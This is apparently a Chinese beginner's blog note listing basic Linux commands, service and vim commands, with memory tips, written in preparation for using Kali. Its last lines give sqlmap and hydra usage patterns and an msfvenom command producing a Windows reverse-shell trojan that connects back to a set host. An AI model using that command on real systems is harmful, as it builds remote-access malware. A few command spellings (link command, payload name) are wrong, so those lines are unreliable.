【初学Linux】常用命令和自用记忆方法 持续更新
- 2020 年 1 月 1 日
- 筆記
前言
最近在补习linux 相关知识,为Kali做准备,虽然以前接触过linux但是基本跟小白没什么区别,现在开始从最简单的开始学起,一个一个认命令。欢迎各位萌新跟我一起学习!
正题
基础命令
ls 列出文件或目录
-l 列出文件详细信息
-a 列出所有文件包括隐藏文件
mkdir 创建目录
-p 创建多个目录
例如 mkdir -p 1/2/3/4 创建 1 2 3 4子目录
cd 切换目录
touch 创建空文件
echo 创建有内容的文件
格式:echo 内容 > 文件名
echo hello world > 1.txt 单箭头为覆盖写入
echo hi >> 1.txt 双箭头为叠加写入
cat 查看文件内容
记忆:猫 猫一眼 2333
cp 复制
例如:cp 原文件 新文件位置
mv 移动或重命名
例如:mv 原文件 新文件位置
more、less 分页显示文本文件
rm 删除文件
-r 递归删除,删除所有子目录及文件
-f 强制删除
find 查找指定文件
wc 统计文本中行数,字数,字符数
grep 在文本文件中查找某个字符
rmdir 删除空目录 少用
tree 树形结构显示目录
pwd 显示当前目录
in 创建链接文件
head、tail 显示文件头、尾内容(默认前后10行)
服务命令
service 服务名 restart 重启服务
service 服务名 start 启动服务
service 服务名 status 查看服务状态
service 服务名 stop 停止服务
update -rc.d 服务名 enable 将一个服务添加到启动项
update -rc.d 服务名 disable 将一个服务从启动项去除
文本编辑命令
vim 命令的三种模式:命令模式(esc),插入模式(a),编辑模式
命令模式:
:q 退出
:q! 强制退出
:wq 保存并退出
:set number 启动行号显示
:set nonumber 关闭行号显示
yyp 复制光标所在行并粘贴
nano 文件名 进入可视化编辑模式
leafpad 以图形化打开文件(和win一样)
工具命令
通用格式:
工具名 参数 路径 链接
工具名 –help 查看工具说明
例如:
sqlmap -u URL 参数 库 参数 表 参数 字段
hydra 参数 文件 参数 文件 参数 地址 端口
msfvenom -p windows/meteerpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe > text.exe
生成一个windows下的木马